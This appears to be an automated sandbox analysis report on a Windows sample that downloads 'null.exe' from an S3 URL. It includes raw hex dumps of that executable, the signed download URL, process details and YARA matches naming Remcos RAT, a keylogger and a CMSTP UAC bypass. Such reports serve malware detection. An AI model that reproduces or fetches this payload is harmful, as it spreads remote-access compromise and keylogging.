                                                                                                                          2024-12-12 16:39:32 UTC1177OUTGET /986cb0ac-5fcf-4393-afaa-e2b223260ae9/downloads/47e1d263-9601-40cc-a367-13b7035db3ac/null.exe?response-content-disposition=attachment%3B%20filename%3D%22null.exe%22&AWSAccessKeyId=ASIA6KOSE3BNIK3V4DGT&Signature=CeSXCizIndXdpo0hNVhQNHPO6YE%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEAkaCXVzLWVhc3QtMSJGMEQCIAiR1Rr4gukDYzqDqe6VyCYznX6djf6omD53N9z5eXxNAiAOa4oQ0hLIqn6hHaGwFLs9dy9CGpADmC9r%2BgzzvYixzCqwAgjC%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAAaDDk4NDUyNTEwMTE0NiIMdLt8wvGnGxpQ3VhgKoQCe8wqaRBxnVnGmgCUhs6TWySAMRXKxScrbgQIw1l5TliYWycjvfrdQ9KAUuNMU%2FwhakGHoE0SFuTSYhrM1G9PRALReQarQNdwzYN63jorLJ4YWbF3XMNkCEIyc7ndfWAWAsw%2FfjWHG0%2BHTpx6RPw%2FIQG57%2Fn5zg5wiHWoPYYes5WgRI5TNywnrgMzT2HeQqLoN3qnaIg%2BAtnkqDKS5EY2FY6PH72PmOl7UVqeyAnEuwwblKQlwD8%2FDNIruRgkrhDndJwiNI%2Fjj%2Fbmpx1PYlG3DYXUkX3nG9qpqdlp9qaxg66RItC8i7CuMgnCQGyIpd9Ne8xvpXMpMHF7fcuhoxTOVxRBVHQwsaPsugY6ngFGmq3npFGM4oH6YpgZGTfIpeNNKlZdAXKSvIsR6TfEz3KZeh4E29gHAGlbMUmtWcvwuflus8R05%2FCWtxLjrJB20TKCSAJ0mZ7ha8acTW5DNuxqW4A6JSpacupf41tUXUKIvQwULtF4tmDv7359nQosi0CBcA%2F4VOm6l [TRUNCATED]
                                                                                                                          Host: bbuseruploads.s3.amazonaws.com
                                                                                                                          Connection: Keep-Alive
                                                                                                                          2024-12-12 16:39:33 UTC538INHTTP/1.1 200 OK
                                                                                                                          x-amz-id-2: ij5MFtyRSbDhq4BfK1TPIcshjJFRbRDlI9gjlClQfjGPm+diX+b01iQiEHxzFu4cziCVKqEXeRE=
                                                                                                                          x-amz-request-id: NDXKQ8RR2385DZ9N
                                                                                                                          Date: Thu, 12 Dec 2024 16:39:34 GMT
                                                                                                                          Last-Modified: Thu, 12 Dec 2024 14:47:44 GMT
                                                                                                                          ETag: "27650afe28ba588c759ade95bf403833"
                                                                                                                          x-amz-server-side-encryption: AES256
                                                                                                                          x-amz-version-id: kXXRZ1mUq75DO3FONi1exQQCVC7lCh3.
                                                                                                                          Content-Disposition: attachment; filename="null.exe"
                                                                                                                          Accept-Ranges: bytes
                                                                                                                          Content-Type: application/x-msdownload
                                                                                                                          Content-Length: 4054528
                                                                                                                          Server: AmazonS3
                                                                                                                          Connection: close
                                                                                                                          2024-12-12 16:39:33 UTC16384INData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                          Data Ascii: MZP@!L!This program must be run under Win32$7
                                                                                                                          2024-12-12 16:39:33 UTC486INData Raw: 77 0f 8d 44 24 04 50 e8 34 c7 ff ff 83 f8 00 74 71 8b 44 24 04 fc e8 c9 f5 ff ff 8b 54 24 08 6a 00 50 68 2e 4c 40 00 52 ff 15 18 c0 61 00 8b 5c 24 04 81 3b de fa ed 0e 8b 53 14 8b 43 18 74 1d 8b 15 10 c0 61 00 85 d2 0f 84 fa fe ff ff 89 d8 ff d2 85 c0 0f 84 ee fe ff ff 8b 53 0c e8 16 fb ff ff 8b 0d 04 c0 61 00 85 c9 74 02 ff d1 8b 4c 24 04 b8 d9 00 00 00 8b 51 14 89 14 24 e9 d6 03 00 00 31 c0 c3 8d 40 00 31 d2 8d 45 f4 64 8b 0a 64 89 02 89 08 c7 40 04 e8 4b 40 00 89 68 08 a3 3c c6 61 00 c3 8d 40 00 31 d2 a1 3c c6 61 00 85 c0 74 1c 64 8b 0a 39 c8 75 08 8b 00 64 89 02 c3 8b 09 83 f9 ff 74 08 39 01 75 f5 8b 00 89 01 c3 55 8b ec 53 56 57 bf 38 c6 61 00 8b 47 08 85 c0 74 48 8b 5f 0c 8b 70 04 33 d2 55 68 16 4d 40 00 64 ff 32 64 89 22 85 db 7e 12 4b 89 5f 0c 8b
                                                                                                                          Data Ascii: wD$P4tqD$T$jPh.L@Ra\$;SCtaSatL$Q$1@1Edd@K@h<a@1<atd9udt9uUSVW8aGtH_p3UhM@d2d"~K_
                                                                                                                          2024-12-12 16:39:33 UTC16384INData Raw: ea 26 00 00 83 c6 08 4f 75 ec 5e 5f 5b c3 53 31 db 57 56 8b 3c 18 8d 74 18 04 8b 46 04 8b 16 8b 04 18 01 da e8 c5 26 00 00 83 c6 08 4f 75 eb 5e 5f 5b c3 8d 40 00 53 31 db 57 56 8b 3c 18 8d 74 18 04 8b 46 04 8b 16 8b 04 18 03 46 08 89 04 1a 83 c6 0c 4f 75 ec 5e 5f 5b c3 53 56 8b 18 8d 70 04 8b 56 04 8b 06 e8 27 0a 00 00 83 c6 08 4b 75 f0 5e 5b c3 8b c0 53 56 57 be c8 10 61 00 b1 10 8b 1d 00 10 61 00 8b c3 bf 0a 00 00 00 99 f7 ff 80 c2 30 33 c0 8a c1 88 14 06 8b c3 bb 0a 00 00 00 99 f7 fb 8b d8 49 85 db 75 db b1 1c a1 04 10 61 00 8b d0 83 e2 0f 8a 92 e8 10 61 00 33 db 8a d9 88 14 1e c1 e8 04 49 85 c0 75 e6 5f 5e 5b c3 8b c0 31 c0 87 05 00 10 61 00 f7 d8 19 c0 40 bf 38 c6 61 00 8b 5f 18 8b 6f 14 ff 77 1c ff 77 20 8b 37 b9 0b 00 00 00 f3 a5 5f 5e c9 c2 0c 00
                                                                                                                          Data Ascii: &Ou^_[S1WV<tF&Ou^_[@S1WV<tFFOu^_[SVpV'Ku^[SVWaa03Iuaa3Iu_^[1a@8a_oww 7_^
                                                                                                                          2024-12-12 16:39:33 UTC1024INData Raw: 00 00 c0 8d 40 00 0c 00 00 00 3c 8e 40 00 00 00 00 00 00 00 00 00 3c 8e 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 8e 40 00 0c 00 00 00 5c 11 40 00 00 45 40 00 0c 45 40 00 10 45 40 00 14 45 40 00 08 45 40 00 50 42 40 00 6c 42 40 00 a8 42 40 00 0e 00 00 00 00 00 01 00 00 00 08 11 40 00 04 00 00 00 09 45 78 63 65 70 74 69 6f 6e a4 8e 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 8e 40 00 0c 00 00 00 f0 8d 40 00 00 45 40 00 0c 45 40 00 10 45 40 00 14 45 40 00 08 45 40 00 50 42 40 00 6c 42 40 00 a8 42 40 00 06 45 41 62 6f 72 74 90 f8 8e 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 8e 40 00 10 00 00 00 f0 8d 40 00 00 45 40 00 0c 45 40 00 10 45 40 00 14
                                                                                                                          Data Ascii: @<@<@N@\@E@E@E@E@E@PB@lB@B@@Exception@@@E@E@E@E@E@PB@lB@B@EAbort@@@E@E@E@
                                                                                                                          2024-12-12 16:39:33 UTC16384INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 92 40 00 10 00 00 00 bc 8f 40 00 00 45 40 00 0c 45 40 00 10 45 40 00 14 45 40 00 08 45 40 00 50 42 40 00 6c 42 40 00 a8 42 40 00 0a 45 4d 61 74 68 45 72 72 6f 72 90 7c 92 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 92 40 00 10 00 00 00 d8 91 40 00 00 45 40 00 0c 45 40 00 10 45 40 00 14 45 40 00 08 45 40 00 50 42 40 00 6c 42 40 00 a8 42 40 00 0a 45 49 6e 76 61 6c 69 64 4f 70 90 d4 92 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 92 40 00 10 00 00 00 d8 91 40 00 00 45 40 00 0c 45 40 00 10 45 40 00 14 45 40 00 08 45 40 00 50 42 40 00 6c 42 40 00 a8 42 40 00 0b 45 5a 65 72 6f 44 69 76 69 64 65 2c 93 40 00 00
                                                                                                                          Data Ascii: $@@E@E@E@E@E@PB@lB@B@EMathError|@|@@E@E@E@E@E@PB@lB@B@EInvalidOp@@@E@E@E@E@E@PB@lB@B@EZeroDivide,@
                                                                                                                          2024-12-12 16:39:33 UTC1024INData Raw: 00 00 00 8b 45 08 50 0f b7 45 e6 8b 55 f4 e8 33 f8 ff ff 59 e9 dd 02 00 00 55 e8 73 f8 ff ff 59 83 7d f4 01 75 14 8b 45 08 50 a1 a4 c6 61 00 e8 72 fb ff ff 59 e9 bc 02 00 00 8b 45 08 50 a1 a8 c6 61 00 e8 5e fb ff ff 59 e9 a8 02 00 00 55 e8 3e f8 ff ff 59 55 e8 9b f8 ff ff 59 83 7d f4 03 7e 07 c7 45 f4 03 00 00 00 8b 45 08 50 0f b7 45 e4 8b 55 f4 e8 cd f7 ff ff 59 e9 77 02 00 00 55 e8 71 f8 ff ff 59 8b 75 fc 4e ba 1c d5 40 00 b9 05 00 00 00 8b c6 e8 fb dc ff ff 85 c0 75 28 66 83 7d ea 0c 72 03 83 c6 03 8b 45 08 50 ba 02 00 00 00 8b c6 e8 29 f7 ff ff 59 83 45 fc 04 c6 45 e2 01 e9 2f 02 00 00 ba 24 d5 40 00 b9 03 00 00 00 8b c6 e8 be dc ff ff 85 c0 75 28 66 83 7d ea 0c 72 03 83 c6 02 8b 45 08 50 ba 01 00 00 00 8b c6 e8 ec f6 ff ff 59 83 45 fc 02 c6 45 e2 01
                                                                                                                          Data Ascii: EPEU3YUsY}uEParYEPa^YU>YUY}~EEPEUYwUqYuN@u(f}rEP)YEE/$@u(f}rEPYEE
                                                                                                                          2024-12-12 16:39:33 UTC1749INData Raw: ff 75 08 92 e8 51 ff ff ff 5d c2 08 00 90 53 56 57 8b fa 8b f0 8b 1f eb 01 43 8b c6 e8 c1 7d ff ff 3b d8 7f 07 80 7c 1e ff 20 74 ed 89 1f 5f 5e 5b c3 55 8b ec 83 c4 f4 53 56 57 89 4d f8 89 55 fc 8b f8 c6 45 f7 00 8b 45 08 c6 00 00 8b 55 fc 8b c7 e8 b7 ff ff ff 8b 5d fc 8b 1b 33 f6 eb 17 8b c6 03 c0 8d 04 80 33 d2 8a 54 1f ff 66 83 ea 30 66 03 c2 8b f0 43 8b c7 e8 64 7d ff ff 3b d8 7f 11 8a 44 1f ff 04 d0 2c 0a 73 07 66 81 fe e8 03 72 cd 8b 45 fc 3b 18 7e 1d 8b c3 8b 55 fc 8b 12 2a c2 8b 55 08 88 02 8b 45 fc 89 18 8b 45 f8 66 89 30 c6 45 f7 01 8a 45 f7 5f 5e 5b 8b e5 5d c2 04 00 8d 40 00 55 8b ec 83 c4 f8 53 56 57 33 db 89 5d f8 8b f9 8b f2 89 45 fc 33 c0 55 68 25 d7 40 00 64 ff 30 64 89 20 33 db 85 ff 74 3a 8b d6 8b 45 fc e8 15 ff ff ff 8d 45 f8 50 8b c7
                                                                                                                          Data Ascii: uQ]SVWC};| t_^[USVWMUEEU]33Tf0fCd};D,sfrE;~U*UEEf0EE_^[]@USVW3]E3Uh%@d0d 3t:EEP
                                                                                                                          2024-12-12 16:39:33 UTC16384INData Raw: 59 f9 ff ff 84 c0 0f 84 03 01 00 00 8b d6 8a 0d 98 c6 61 00 8b c5 e8 62 fa ff ff 84 c0 74 47 8d 44 24 0c 50 8d 4c 24 0c 8b d6 8b c5 e8 2c f9 ff ff 84 c0 0f 84 d6 00 00 00 8b d6 8a 0d 8b c6 61 00 8b c5 e8 35 fa ff ff 84 c0 74 1a 8d 44 24 0c 50 8d 4c 24 0e 8b d6 8b c5 e8 ff f8 ff ff 84 c0 0f 84 a9 00 00 00 85 ff 7d 53 8b d6 8b 0d 9c c6 61 00 8b c5 e8 78 f9 ff ff 84 c0 75 12 8b d6 b9 dc dd 40 00 8b c5 e8 66 f9 ff ff 84 c0 74 04 33 ff eb 2a 8b d6 8b 0d a0 c6 61 00 8b c5 e8 4f f9 ff ff 84 c0 75 12 8b d6 b9 e8 dd 40 00 8b c5 e8 3d f9 ff ff 84 c0 74 05 bf 0c 00 00 00 85 ff 7c 24 66 83 7c 24 04 00 74 46 66 83 7c 24 04 0c 77 3e 66 83 7c 24 04 0c 75 07 66 c7 44 24 04 00 00 66 01 7c 24 04 8b d6 8b c5 e8 4b f8 ff ff 66 8b 44 24 0a 50 8b 44 24 04 50 66 8b 4c 24 10 66
                                                                                                                          Data Ascii: YabtGD$PL$,a5tD$PL$}Saxu@ft3*aOu@=t|$f|$tFf|$w>f|$ufD$f|$KfD$PD$PfL$f
                                                                                                                          2024-12-12 16:39:33 UTC1024INData Raw: 4d e8 b2 01 a1 2c 17 41 00 e8 eb ca ff ff e8 b6 2d ff ff e9 96 00 00 00 8d 55 e4 a1 34 ab 61 00 e8 f4 57 ff ff 8b 4d e4 b2 01 a1 cc 14 41 00 e8 c5 ca ff ff e8 90 2d ff ff eb 73 8d 55 e0 a1 9c a9 61 00 e8 d1 57 ff ff 8b 4d e0 b2 01 a1 94 17 41 00 e8 a2 ca ff ff e8 6d 2d ff ff eb 50 a1 90 b3 61 00 8b 00 89 45 c8 c6 45 cc 0b 89 5d d0 c6 45 d4 00 8d 55 c4 8b c3 e8 44 c2 ff ff 8b 45 c4 89 45 d8 c6 45 dc 0b 8d 45 c8 50 6a 02 8d 55 c0 a1 68 ad 61 00 e8 7f 57 ff ff 8b 4d c0 b2 01 a1 10 96 40 00 e8 8c ca ff ff e8 1b 2d ff ff 33 c0 5a 59 59 64 89 10 68 98 1d 41 00 8d 45 c0 ba 02 00 00 00 e8 a9 33 ff ff 8d 45 e0 ba 08 00 00 00 e8 9c 33 ff ff c3 e9 b6 2c ff ff eb de 5b 8b e5 5d c3 8d 40 00 85 c0 74 05 e8 a3 fd ff ff c3 8b c0 53 85 c0 74 2c 8b d8 81 eb 05 00 02 80 74
                                                                                                                          Data Ascii: M,A-U4aWMA-sUaWMAm-PaEE]EUDEEEEPjUhaWM@-3ZYYdhAE3E3,[]@tSt,t
                                                                                                                          2024-12-12 16:39:33 UTC16384INData Raw: b5 8b 85 fc fc ff ff 50 e8 c0 e9 ff ff e8 d3 fc ff ff 5f 5e 5b 8b e5 5d c3 53 56 51 8b d8 66 8b 33 66 83 fe 14 73 0d 53 e8 a0 e9 ff ff e8 b3 fc ff ff eb 5b 66 81 fe 00 01 75 0f 66 c7 03 00 00 8d 43 08 e8 05 30 ff ff eb 45 66 81 fe 01 01 75 0a 8b c3 ff 15 14 c8 61 00 eb 34 66 f7 c6 00 20 74 09 8b c3 e8 34 fe ff ff eb 24 8b d4 8b c6 e8 31 69 00 00 84 c0 74 0c 8b d3 8b 04 24 8b 08 ff 51 24 eb 0b 53 e8 43 e9 ff ff e8 56 fc ff ff 5a 5e 5b c3 8b c0 66 f7 00 e8 bf 75 06 66 c7 00 00 00 c3 e8 72 ff ff ff c3 90 50 e8 e6 ff ff ff 58 c3 55 8b ec 83 c4 e8 53 56 8b 5d 0c 66 81 3b 0c 40 75 1d 8b 45 14 50 8b 45 10 50 8b 43 08 50 8b 45 08 50 e8 d9 ff ff ff 83 c4 10 e9 cc 00 00 00 83 7d 08 00 75 07 33 c0 89 45 f8 eb 0f 8d 45 e8 50 e8 cf e8 ff ff 8d 45 e8 89 45 f8 33 c0 55
                                                                                                                          Data Ascii: P_^[]SVQf3fsS[fufC0Efua4f t4$1it$Q$SCVZ^[fufrPXUSV]f;@uEPEPCPEP}u3EEPEE3U


                                                                                                                          Statistics

                                                                                                                          CPU Usage

                                                                                                                          Click to jump to process

                                                                                                                          Memory Usage

                                                                                                                          Click to jump to process

                                                                                                                          High Level Behavior Distribution

                                                                                                                          Click to dive into process behavior distribution

                                                                                                                          Behavior

                                                                                                                          Click to jump to process

                                                                                                                          System Behavior

                                                                                                                          General

                                                                                                                          Target ID:0
                                                                                                                          Start time:11:39:03
                                                                                                                          Start date:12/12/2024
                                                                                                                          Path:C:\Users\user\Desktop\pPLwX9wSrD.exe
                                                                                                                          Wow64 process (32bit):true
                                                                                                                          Commandline:"C:\Users\user\Desktop\pPLwX9wSrD.exe"
                                                                                                                          Imagebase:0x400000
                                                                                                                          File size:10'485'760 bytes
                                                                                                                          MD5 hash:1492E1506AFEDAD20933AE244CF658D1
                                                                                                                          Has elevated privileges:true
                                                                                                                          Has administrator privileges:true
                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                          Reputation:low
                                                                                                                          Has exited:true

                                                                                                                          General

                                                                                                                          Target ID:3
                                                                                                                          Start time:11:39:23
                                                                                                                          Start date:12/12/2024
                                                                                                                          Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                                                          Wow64 process (32bit):true
                                                                                                                          Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
                                                                                                                          Imagebase:0x2e0000
                                                                                                                          File size:2'141'552 bytes
                                                                                                                          MD5 hash:EB80BB1CA9B9C7F516FF69AFCFD75B7D
                                                                                                                          Has elevated privileges:true
                                                                                                                          Has administrator privileges:true
                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                          Yara matches:
                                                                                                                          • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000003.00000002.3257754381.0000000009D60000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                          • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000003.00000002.3257338856.0000000008852000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                          • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000003.00000002.3256041816.00000000076B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                          • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000003.00000003.1794277108.0000000008D23000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                          Reputation:moderate
                                                                                                                          Has exited:false

                                                                                                                          General

                                                                                                                          Target ID:4
                                                                                                                          Start time:11:39:43
                                                                                                                          Start date:12/12/2024
                                                                                                                          Path:C:\Users\user\AppData\Local\Temp\dzocgvabs.exe
                                                                                                                          Wow64 process (32bit):true
                                                                                                                          Commandline:C:\Users\user\AppData\Local\Temp\dzocgvabs.exe
                                                                                                                          Imagebase:0x400000
                                                                                                                          File size:4'054'528 bytes
                                                                                                                          MD5 hash:27650AFE28BA588C759ADE95BF403833
                                                                                                                          Has elevated privileges:true
                                                                                                                          Has administrator privileges:true
                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                          Yara matches:
                                                                                                                          • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                          • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                          • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                          • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                          • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                          • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000004.00000002.2057015971.000000000F520000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                          • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000004.00000000.1792904857.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security
                                                                                                                          • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                          • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                          • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                          • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                          • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                          Reputation:low
                                                                                                                          Has exited:true

                                                                                                                          General

                                                                                                                          Target ID:7
                                                                                                                          Start time:11:40:06
                                                                                                                          Start date:12/12/2024
                                                                                                                          Path:C:\Users\user\AppData\Local\Temp\dzocgvabs.exe
                                                                                                                          Wow64 process (32bit):true
                                                                                                                          Commandline:"C:\Users\user\AppData\Local\Temp\dzocgvabs.exe"
                                                                                                                          Imagebase:0x400000
                                                                                                                          File size:4'054'528 bytes
                                                                                                                          MD5 hash:27650AFE28BA588C759ADE95BF403833
                                                                                                                          Has elevated privileges:true
                                                                                                                          Has administrator privileges:true
                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                          Yara matches:
                                                                                                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000007.00000002.3254290019.0000000009D3A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                          Reputation:low
                                                                                                                          Has exited:false

                                                                                                                          Disassembly

                                                                                                                          Reset < >

                                                                                                                            Execution Graph

                                                                                                                            Execution Coverage:0.1%
                                                                                                                            Dynamic/Decrypted Code Coverage:0%
                                                                                                                            Signature Coverage:26.7%
                                                                                                                            Total number of Nodes:15
                                                                                                                            Total number of Limit Nodes:1
                                                                                                                            execution_graph 26934 457720 26935 45772e VirtualProtect 26934->26935 26937 4577bb 26935->26937 26940 4577f2 26935->26940 26941 4577d8 ExitProcess ExitProcess ExitProcess ExitProcess ExitProcess 26937->26941 26942 4830cf 26943 4830db _wctomb_s 26942->26943 26944 4830e7 GetVersionExA 26943->26944 26945 48312f 26944->26945 26946 45943f 26947 459479 26946->26947 26950 45946a ExitProcess 26946->26950 26951 45948f 26947->26951 26954 4594a1 26951->26954 26955 4594cc ExitProcess 26954->26955

                                                                                                                            Executed Functions

                                                                                                                            Function 004566F3 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 300memoryCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            APIs
                                                                                                                            • VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004577B1
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ProtectVirtual
                                                                                                                            • String ID: P:O>$oadLibraryW
                                                                                                                            • API String ID: 544645111-4217776427
                                                                                                                            • Opcode ID: ea62308979f04126638672fbf2c22f956cec3721e388906973f6fc7f5b15992b
                                                                                                                            • Instruction ID: ef989bf9e139d98b72702757f725de053321844708bf9252122b16744ec44e0d
                                                                                                                            • Opcode Fuzzy Hash: ea62308979f04126638672fbf2c22f956cec3721e388906973f6fc7f5b15992b
                                                                                                                            • Instruction Fuzzy Hash: 88B145F2D051559FF7208B24DD44BEB7B79EB80300F1581FAD94D53682E63C9EC68A92
                                                                                                                            Function 004572FB Relevance: 1.7, APIs: 1, Instructions: 195memoryCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 284 4572fb-457324 285 457326-457364 284->285 286 457369-4573aa 284->286 291 457788-4577b9 VirtualProtect 285->291 295 4573ac-4573ea 286->295 296 4573ef-4574b3 call 457415 286->296 297 4577f2-457875 call 457877 291->297 298 4577bb-4577d7 call 4577d8 291->298 295->291 308 45777c-457782 296->308 309 4574b9-457563 call 4574df call 45751f call 457566 296->309 308->291 309->291
                                                                                                                            APIs
                                                                                                                            • VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004577B1
                                                                                                                            Memory Dump Source
